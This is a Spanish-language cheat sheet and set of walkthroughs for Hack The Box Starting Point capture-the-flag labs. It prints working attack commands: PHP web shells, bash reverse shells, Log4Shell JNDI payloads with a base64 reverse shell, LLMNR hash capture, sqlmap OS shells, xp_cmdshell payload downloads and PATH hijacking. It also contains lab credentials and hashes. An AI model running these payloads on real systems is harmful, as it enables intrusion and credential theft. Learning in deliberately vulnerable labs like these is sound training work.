

Hack The Box: Starting Point

Este documento es el resultado de haber completado al 100% todas las máquinas gratis del Starting Point. Cuando empiezas en el mundo de la ciberseguridad y el pentesting, es normal sentirse abrumado por la cantidad de puertos, herramientas, comandos y vulnerabilidades que existen. Anotar cada paso, cada error y cada victoria es la mejor forma de interiorizar el conocimiento.

¿Cómo está estructurado este documento?

Para que esta guía sea lo más útil y práctica posible, la he dividido en dos grandes bloques:

1. Cheat Sheet y Metodología (Resumen General)

Antes de entrar en las máquinas individuales, encontrarás una "chuleta" consolidada. Aquí he extraído y clasificado todas las herramientas y comandos aprendidos a lo largo de las máquinas, divididos por las fases reales de un test de intrusión:

- Fase de Reconocimiento.
- Enumeración y Explotación según el protocolo (SMB, FTP, Bases de datos, etc.).
- Ataques Web, manejo de Hashes y obtención de Reverse Shells.
- Técnicas de Escalada de Privilegios (Windows y Linux).

2. Apuntes por Máquina (Paso a Paso)

En la segunda mitad del documento tienes el registro detallado de cada una de las máquinas del Starting Point (Fawn, Dancing, Redeemer, Crocodile, Responder, etc.). Aquí documenté el flujo exacto de la intrusión: desde las respuestas a las preguntas clave del laboratorio, hasta los comandos exactos y payloads que utilicé para conseguir las flags de user y root.

Descargo de Responsabilidad Ética

Toda la información, comandos, vulnerabilidades (como Log4Shell o LLMNR Poisoning) y scripts detallados en este documento tienen fines estrictamente educativos y de investigación. Este material refleja la resolución de entornos de laboratorio cerrados y diseñados explícitamente para ser vulnerados (CTFs). No utilices jamás estas técnicas ni estas herramientas contra sistemas, servidores o redes sin el consentimiento explícito de sus propietarios.

1. Cheat Sheet y Metodología (Resumen General)

Fase 1: Reconocimiento

El objetivo aquí es descubrir qué hay en la máquina objetivo antes de lanzar ningún ataque.

- **Escaneo de Puertos y Servicios (Nmap):** Utiliza `nmap <IP> -sV` para detectar las versiones exactas de los servicios corriendo en los puertos abiertos.
- **Scripts por Defecto (Nmap):** Utiliza `nmap <IP> -sC` para lanzar scripts de reconocimiento automáticos y seguros de Nmap (útil para sacar información extra de FTP, SMB o HTTP).
- **Mapeo de Dominios:** Si encuentras un nombre de dominio (ej. en un email de contacto de una web), añádelo a tu archivo `/etc/hosts` de Linux apuntando a la IP de la máquina para poder resolverlo y atacarlo.
- **Descubrimiento de Directorios (Gobuster):** Utiliza `gobuster dir -u http://<IP> -w <wordlist>` para aplicar fuerza bruta y encontrar rutas ocultas.
- **Búsqueda de Extensiones (Gobuster):** Añade el flag `-x php,txt,html` a Gobuster para que busque archivos con esas extensiones específicas.
- **Descubrimiento de Subdominios (Gobuster):** Utiliza el modo vhost con `gobuster vhost -u http://<dominio> -w <wordlist> --append-domain` para encontrar subdominios ocultos.

Fase 2: Enumeración y Explotación según el protocolo

Cada puerto abierto es una puerta diferente. Aquí tienes qué hacer según el servicio que encuentres.

- **Puerto 21 - FTP (File Transfer Protocol):** Intenta siempre conectarte usando el usuario `anonymous` y dejando la contraseña en blanco. Usa `ls` o `dir` para listar los archivos del servidor y `get <archivo>` para descargarlos a tu máquina local.
- **Puerto 22 - SSH (Secure Shell):** Rara vez es vulnerable por sí mismo. Su objetivo es usar credenciales que hayas extraído de otras fases (como bases de datos, archivos de configuración o paneles web) para obtener una terminal interactiva directa. Conéctate usando `ssh <usuario>@<IP>` (por ejemplo, `ssh root@10.129.96.149`).
- **Puertos 80 / 443 / 8080 / 8443 - HTTP / HTTPS (Servidores Web):** Es la interfaz principal de aplicaciones. Visita la IP en tu navegador (recuerda forzar `https://` si es el puerto 443 o 8443). Busca paneles de inicio de sesión, correos de contacto (para mapear dominios) y números de versión en la parte inferior de las páginas para buscar exploits públicos en Google (como la versión 6.4.54 de UniFi).

- **AWS S3 (Buckets de Amazon sobre HTTP/HTTPS):** Si descubres que la web es un bucket de Amazon, configura la CLI con `aws configure` e introduce credenciales temporales. Interactúa para subir *Web Shells* usando `aws --endpoint-url=http://<dominio> s3 cp <archivo_local> s3://<dominio>`.
- **Puertos 139 / 445 - SMB (Server Message Block):** Usa `smbclient -L <IP> -N` (el flag `-N` indica que no tienes contraseña) para listar recursos compartidos. Busca recursos que no terminen en `$` (como *WorkShares* o *backups*), ya que suelen ser personalizados y accesibles. Utiliza `smbclient //<IP>/<NombreDelRecurso> -N` para entrar a la carpeta y descargar archivos sensibles.
- **Puerto 1433 - MSSQL (Microsoft SQL Server):** Usa la herramienta de Impacket `impacket-mssqlclient <dominio>/<usuario>:<contraseña>@<IP> -windows-auth`. Habilita la ejecución activando `enable_xp_cmdshell` y lanza comandos escribiendo `xp_cmdshell <comando>`.
- **Puerto 3306 - MySQL / MariaDB:** Conéctate con `mysql -h <IP> -u root --skip-ssl`. Utiliza `show databases;`, `use <BD>;`, `show tables;`, `describe <tabla>;` y `select * from <tabla>;`.
- **Puerto 6379 - Redis:** Es una base de datos en memoria. Utiliza `redis-cli -h <IP>`. Extrae la información listando las claves con `keys *` y leyendo sus valores con `get <nombre_de_la_clave>`.
- **Puertos 27017 / 27117 - MongoDB:** Conéctate usando `mongo --port <puerto> <base_de_datos>`. Puedes volcar la colección de administradores formateada en JSON ejecutando `db.admin.find().forEach(printjson);`.

Fase 3: Ataques Web, manejo de Hashes y obtención de Reverse Shells

Ataques Web:

- **Burp Suite (Proxy de Intercepción):** Intercepta, pausa y modifica peticiones web antes de que lleguen al servidor para alterar Cookies, IDs de sesión o cuerpos JSON.
- **Inyección SQL (SQLi) (A03:2021-Injection):** Inserta `admin' #` en el campo de usuario para realizar un bypass de login básico. Automatiza con SQLmap: `sqlmap -u "<URL>" --cookie="<COOKIE>" --os-shell`.
- **Log4Shell (CVE-2021-44228):** Abusa de Log4j inyectando el payload `${jndi:ldap://<TU_IP>:<PUERTO>/Exploit}`. Verifica la conexión con `sudo tcpdump -i tun0 port 389 -nn` y explótalo compilando `rogue-jndi` con Maven (`mvn package`).

Manejo de Hashes:

- **Robo con Responder (LLMNR Poisoning):** Engaña al sistema forzando la carga de un recurso inexistente hacia tu IP local para capturar el hash NTLMv2. (`sudo responder -I tun0`).
- **Descifrado con John The Ripper:** Extrae hashes de archivos ZIP con `zip2john <archivo.zip> > hash.txt` y aplica fuerza bruta con `john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`.
- **Sustitución (Generación propia):** Si no puedes crackear un hash (ej. SHA-512), genera uno con `mkpasswd -m sha-512 <tu_contraseña>` y sobrescribe el de la base de datos (ej. mediante `db.admin.update` en MongoDB).

Obtención de Reverse Shells:

- **Web Shell (PHP):** Crea el archivo `echo '<?php system($_GET["cmd"]); ?>' > shell.php`.
- **Reverse Shell (Bash):** Ponte a la escucha con `nc -lvp 4444` y ejecuta `bash -c 'bash -i >& /dev/tcp/<TU_IP>/4444 0>&1'`.
- **Mejora de la TTY:** Haz la terminal interactiva con `python3 -c 'import pty; pty.spawn("/bin/bash")'` o `script /dev/null -c bash`.
- **Acceso Remoto Directo Windows:** Utiliza WinRM (`evil-winrm -i <IP> -u <Usuario> -p '<Contraseña>'`) o PsExec (`impacket-psexec <Usuario>:'<Contraseña>'@<IP>`).

Fase 4: Técnicas de Escalada de Privilegios (Windows y Linux)

Entornos Windows:

- **WinPEAS:** Automatiza la búsqueda de fallos. Descárgalo en la máquina víctima levantando un servidor (`python3 -m http.server 80`) y usando `Invoke-WebRequest`.
- **Historial de PowerShell:** Revisa siempre el archivo `ConsoleHost_history.txt` en el directorio AppData del usuario; es común encontrar credenciales en texto plano.

Entornos Linux:

- **Búsqueda de archivos y permisos:** Usa `find / -group <nombre_grupo> 2>/dev/null` para localizar ejecutables con permisos inusuales.
- **Archivos de configuración:** Modifica archivos críticos como `pg_hba.conf` (PostgreSQL) para ganar acceso interno si tienes permisos de edición.
- **PATH Hijacking:** Si un script ejecuta un programa sin su ruta absoluta (ej. `cat`), crea un archivo malicioso en `/tmp` que invoque `/bin/bash`, dale permisos (`chmod +x`) y añade la ruta a tu entorno (`export PATH=/tmp:$PATH`).

2. Apuntes por Máquina (Paso a Paso)

Fawn

1. Versión de los protocolos de los puertos abiertos y del OS
`nmap 10.129.1.14 -sV`
-sV para ver las versiones
2. Para conectarte a ftp sin usuario ponemos de user anonymous (la password en blanco)
3. listar del server `dir` o `ls`, y para descargar `get`

Dancing

1. Para SMB utilizar `smbclient`

2. Listar los SMB shares

`smbclient -L 10.129.141.48`

Sharename	Type	Comment
ADMIN\$	Disk	Remote Admin
C\$	Disk	Default share
IPC\$	IPC	Remote IPC
WorkShares	Disk	

2. What is the name of the share we are able to access in the end with a blank password?

It's the one that doesn't terminate with the '\$' symbol. This is a custom share, made by a system administrator during the configuration phase.

3. Conectarse con SMB

`mbclient //10.129.141.48/WorkShares -N`

Try "help" to get a list of possible commands.

smb: \>

Redeemer

1. Redis is an In-memory Database
2. Para Redis utilizar `redis-cli`
3. Para conectarnos

`redis-cli -h 10.129.136.187`

4. Para obtener las keys `keys *` y para descargar `get`

Appointment

1. What is the 2021 OWASP Top 10 classification for this vulnerability (SQL Injection)?

A03:2021-Injection

2. Gobuster is one tool used to brute force directories on a webserver. What switch do we use with Gobuster to specify we're looking to discover directories, and not subdomains?

`dir`

3. Típica SQL Injection

`admin' #`

`admin'` para que ese sea el usuario y `#` para que lo demás de la query programada sea un comentario y no importe

Sequel

1. `nmap 10.129.95.232 -sC`

`-sC` to run safe scripts, which is another good way to get things like versions.

2. Nos logueamos en la base de datos de la máquina `mysql -h 10.129.95.232 -u root --skip-ssl`

3. Listamos las bases de datos `show databases;`

4. Nos metemos en la base de datos que queremos `use htb;`

5. Vemos las tablas que tiene `show tables;`

6. Vemos que columnas hay en la tabla que queremos `describe config;`

7. Obtenemos los datos (hacemos la query) `select * from config;`

Crocodile

1. Por ftp nos descargamos dos archivos allowed.userlist y allowed.userlist.passwd
2. Utilizamos Gobuster para buscar por fuerza bruta tipos de archivos
`gobuster dir -u http://10.129.143.53 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html`
-w para la wordlist
-x para que busque esas palabras
3. Vemos el archivo login.php, lo buscamos `http://10.129.143.53/login.php` e iniciamos sesión con las credenciales encontradas

Three

1. Para buscar subdominios, primero tenemos que añadir el dominio al `/etc/hosts` (hemos visto en el email de contacto de la web que el dominio es thetoppers.htb)
2. Utilizamos Gobuster para buscar por fuerza bruta subdominios
`gobuster vhost -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain`
3. Sabemos que es S3 (de Amazon y que usa php) así que vamos a crear una Web Shell (un script en PHP que tomará los comandos que tú le pases por la URL y le dirá al servidor de Linux que los ejecute)
4. Creamos la Web Shell
`echo '<?php system($_GET["cmd"]); ?>' > shell.php`
5. Configuramos las credenciales de aws
`aws configure`
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]:
Default output format [None]:
6. Subimos la Web Shell al servidor S3
`aws --endpoint-url=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb`
7. Listamos el contenido de `/var/www/`
`curl "http://thetoppers.htb/shell.php?cmd=ls+/var/www/"`
8. Leemos la flag

```
curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
```

Responder

1. What does NTLM stand for?

New Technology LAN Manager es un conjunto de protocolos de seguridad de Microsoft que proporciona autenticación, integridad y confidencialidad a los usuarios dentro de una red. Cuando una herramienta como Responder engaña con éxito a una máquina víctima, captura el hash NTLMv2 del usuario (la versión más reciente y predeterminada de este protocolo). (**LLMNR Poisoning**)

2. Ponemos en escucha la interfaz `sudo responder -l tun0`

3. Ahora hacemos que por url se conecte a nuestra IP e intente cargar un archivo inexistente

```
http://unika.htb/index.php?page=//10.10.15.134/e.html
```

4. Nos da error y nos pasa las credenciales por el responder

```
[SMB] NTLMv2-SSP Client : 10.129.145.197
```

```
[SMB] NTLMv2-SSP Username : RESPONDER\Administrator
```

```
[SMB] NTLMv2-SSP Hash :
```

```
Administrator::RESPONDER:40c3996305845759:CCE6E72E7077335035992E9704  
40FF41:01010000000000000002C11024D26DD01A61F5B0E826AC9450000000002  
000800360034004400330001001E00570049004E002D004100420052004E004700  
420036004900450047004F0004003400570049004E002D004100420052004E0047  
00420036004900450047004F002E0036003400440033002E004C004F0043004100  
4C000300140036003400440033002E004C004F00430041004C0005001400360034  
00440033002E004C004F00430041004C0007000800002C11024D26DD010600040  
0020000000080030003000000000000000100000000200000B9328A670A5228BF9  
C9F4A16675E6456D99D0E72E86FD1E777764AF23FCFD6760A001000000000000  
000000000000000000000000900220063006900660073002F00310030002E00310  
030002E00310035002E00310033003400000000000000000000
```

5. Crackeamos el hash utilizando John The Ripper (la contraseña es badminton)

```
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

6. Habíamos visto antes que estaba el puerto `5985/tcp open wsman` abierto, así que ahora nos conectamos por él (El servicio wsman corresponde a **WinRM** (Windows Remote Management)).

```
evil-winrm -i 10.129.145.197 -u Administrator -p 'badminton'
```


Vaccine

1. What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?

zip2john

2. Por ftp nos decargamos un archivo backup.zip

3. Pasamos el archivo a texto

```
zip2john backup.zip > hash.txt
```

4. Crackeamos la contraseña del zip

```
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

5. Navegamos por los archivos del zip y encontramos en index.php la contraseña del admin y el tipo de hash

```
md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3"
```

6. Crackeamos esta contraseña

```
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt
```

7. Iniciamos sesión en la web para obtener las cookies y luego por consola nos conectamos

```
sqlmap -u "http://10.129.95.174/dashboard.php?search=a"  
--cookie="PHPSESSID=2cd897l0m00d1fkbv9q48a59fh" --os-shell
```

8. Ahora vamos a hacer una Reverse Shell para escalar privilegios, primero abrimos un server desde nuestra máquina

```
nc -lvp 4444
```

9. Lanzamos la conexión desde la os-shell que queremos atacar

```
bash -c 'bash -i >& /dev/tcp/10.10.14.189/4444 0>&1'
```

10. Ahora que tenemos la conexión establecida (la Reverse Shell) ponemos en nuestra consola este comando para hacer que la os-shell se comporte como una terminal real

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

11. Buscamos la contraseña de postgres en el archivo dashboard.php

```
grep -i "password" /var/www/html/dashboard.php
```

12. En la Reverse Shell escalamos privilegios

```
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
```

```
#!/bin/bash
```

Oopsie

1. With what kind of tool can intercept web traffic?

proxy

2. What can be modified in Firefox to get access to the upload page?

cookie

3. Investigando en la página web (y una vez de habernos metido en el login como un guest) vemos que la página carga con

<http://10.129.95.191/cdn-cgi/login/admin.php?content=accounts&id=2>, entonces cambiamos el 2 por el 1 y entramos al admin (conseguimos su ID)

4. Ahora vamos a utilizar la herramienta Burp Suite como proxy de interceptación

5. Cambiamos las cookies por las que hemos encontrado en el paso 3, y en la pestaña de uploads subimos un .php para una reverse shell (En kali tenemos un ejemplo en la carpeta /usr/share/webshell/php)

6. Nos ponemos en escucha en nuestra máquina

`nc -lvnp 4444`

y corremos el archivo malicioso en la url

<http://10.129.151.237/uploads/shell.php>

7. Dentro de la Reverse Shell nos dirigimos al archivo

/var/www/html/cdn-cgi/login/db.php para ver las credenciales

`<?php`

`$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');`

`?>`

8. Nos logueamos como robert (primero hacemos que la máquina se crea que es una terminal real

`$ python3 -c 'import pty; pty.spawn("/bin/bash")'`

`www-data@oopsie:/$ su robert`

`su robert`

`Password: M3g4C0rpUs3r!`

`robert@oopsie:/$`

8. Miramos a qué grupos pertenece con id y buscamos con find archivos de ese grupo

`id`

```
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
```

```
find / -group bugtracker 2>/dev/null  
/usr/bin/bugtracker
```

9. vamos a la carpeta /tmp porque ahí tenemos permisos de escritura, creamos un programa falso que abre una consola y le damos permisos de ejecución

```
cd /tmp
```

```
echo "/bin/bash" > cat
```

```
chmod +x cat
```

10. Obligamos al sistema a buscar comandos primero en /tmp

```
export PATH=/tmp:$PATH
```

10. Ahora ejecutamos el programa (que nos pide un ID y sabemos que root es 0)

```
/usr/bin/bugtracker
```

Archetype

1. Vemos que haciendo nmap tenemos abierto el protocolo 445/tcp microsoft-ds, es el puerto del protocolo SMB, ahora listamos las carpetas que hay -L que no tengan password -N

```
smbclient -L 10.129.95.187 -N
```

2. Nos conectamos a la carpeta que no es de root

```
smbclient //10.129.95.187/backups -N
```

3. Vemos un archivo que dentro tiene

```
User ID=ARCHETYPE\sql_svc;Password=M3g4c0rp123
```

4. What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?

```
mssqlclient.py
```

5. What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?

```
xp_cmdshell
```

6. What script can be used in order to search possible paths to escalate privileges on Windows hosts?

```
winpeas
```

7. Nos conectamos a 1433/tcp ms-sql-s con las credenciales del paso 3
`impacket-mssqlclient ARCHETYPE/sql_svc:M3g4c0rp123@10.129.95.187`
`-windows-auth`

`-windows-auth` le dice a la herramienta que utilice la autenticación nativa de Windows en lugar de la autenticación estándar interna de SQL Server (ya que las credenciales pertenecen a un usuario del sistema operativo).

8. Activamos el `xp_cmdshell`
`enable_xp_cmdshell`

9. Para la flag hemos hecho (Ahora hay que usar `xp_cmdshell` cada vez que queramos lanzar un comando, pero se crea una nueva shell, nos da el output y luego se cierra)

`xp_cmdshell type C:\Users\sql_svc\Desktop\user.txt`

10. Desargamos el archivo malicioso en nuestra máquina y creamos un server para pasarlo

`wget`

<https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASany.exe>

`python3 -m http.server 80`

11. Le pasamos el archivo malicioso que hemos descargado y lo ejecutamos

`xp_cmdshell powershell -c "Invoke-WebRequest -Uri`
`http://10.10.14.189/winPEASany.exe -OutFile C:\Users\Public\winPEASany.exe;`
`C:\Users\Public\winPEASany.exe"`

12. Dentro de todo lo que nos dará encontramos algo así

 Checking PowerShell Settings

<https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#powershell-history>

[+] Found ConsoleHost_history.txt file:

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

 Looking for possible password files in users homes

C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

13. Leemos este archivo y obtenemos las credenciales de admin para poder conectarnos como si fuésemos él

```
xp_cmdshell type
```

```
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

14. Para conectarnos a las máquinas también podemos usar

```
impacket-psexec administrator:'MEGACORP_4dm1n!!'@10.129.95.187
```

```
evil-winrm -i 10.129.95.187 -u administrator -p 'MEGACORP_4dm1n!!'
```

Unified

1. The UniFi Network version 6.4.54 vulnerability is **CVE-2021-44228**

2. What protocol does JNDI leverage in the injection?

LDAP (Lightweight Directory Access Protocol). When the vulnerable application logs the crafted payload (e.g., `${jndi:ldap://ATTACKER_IP:1389/Exploit}`), JNDI reaches out to your attacker-controlled LDAP server. This rogue server then redirects the Java application to download and execute a malicious Java class file, ultimately granting you your initial reverse shell.

3. What tool do we use to intercept the traffic, indicating the attack was successful?

tcpdump

4. What port do we need to inspect intercepted traffic for?

389

5. Para poder explotar el servidor primero nos quedamos a la escucha en nuestra terminal

```
sudo tcpdump -i tun0 port 389 -nn
```

6. Pasamos el exploit utilizando la aplicación Burp Suite y cambiamos el campo remember del JSON por `"${jndi:ldap://10.10.14.189:389/Exploit}"`

7. Vemos por tcpdump que ha intentado conectarse con nosotros

```
11:52:46.088764 IP 10.129.154.185.33476 > 10.10.14.189.389: Flags [S], seq 942918409, win 64240, options [mss 1362,sackOK,TS val 1781332563 ecr 0,nop,wscale 7], length 0
```

8. Ahora vamos a crear el package usando Maven

```
git clone https://github.com/veracode-research/rogue-jndi
```

```
cd rogue-jndi
```

```
mvn package
```

9. Creamos el payload

```
echo 'bash -c bash -i >&/dev/tcp/10.10.14.189/4444 0>&1' |  
base64  
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTg5LzQ0NDQgMD  
4mMQo=
```

10. Arrancamos la aplicación Rogue-JNDI pasándole el payload

```
java -jar target/RogueJndi-1.1.jar --command "bash -c  
{echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMTg5LzQ0ND  
QgMD4mMQo=} | {base64,-d}|{bash,-i}" --hostname "10.10.14.189"
```

11. Abrimos otra terminal para capturar la Reverse Shell

```
nc -lvp 4444
```

12. Ahora otra vez por Burp Suite pasamos el siguiente payload

```
${jndi:ldap://10.10.14.189:1389/o=tomcat}
```

14. Vemos cómo nos conectamos por la terminal de nc y usamos el script para mejorar la terminal

```
connect to [10.10.14.189] from [10.129.154.185] 43972  
script /dev/null -c bash  
Script started, file is /dev/null  
unifi@unified:/usr/lib/unifi$
```

15. Vemos que puerto de MongoDB está corriendo

```
ps aux | grep mongo
```

16. Buscamos usuarios para encontrar al admin y su password (Vemos que es un SHA-512 y no la vamos a poder crackear)

```
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
```

17. Creamos un hash nosotros desde nuestra terminal

```
mkpasswd -m sha-512 Password1234
```

```
$6$Fkx5lvOWpTm5ZKFO$Oy1YJe9HDMaVH5WOY4KXBNwSXc2btA3hrPq4iCDaN  
YaT6xZ1jxkTtLCSPoewx3MRNY8Fx5E5WjbDQqSQg5bkv/
```

18. Cambiamos el hash que tiene el administrador por el nuestro

```
mongo --port 27117 ace --eval 'db.admin.update({"_id":  
ObjectId("61ce278f46e0fb0012d47ee4")},{ $set: {"x_shadow": "$6$Fkx5lvOWpTm5ZK  
FO$Oy1YJe9HDMaVH5WOY4KXBNwSXc2btA3hrPq4iCDaN  
YaT6xZ1jxkTtLCSPoewx3MRNY8Fx5E5WjbDQqSQg5bkv/"}})'
```

19. Iniciamos sesión en la web con el usuario administrator y la contraseña que hemos metido, dentro vemos que en settings -> site está la contraseña para conectarse mediante ssh siendo root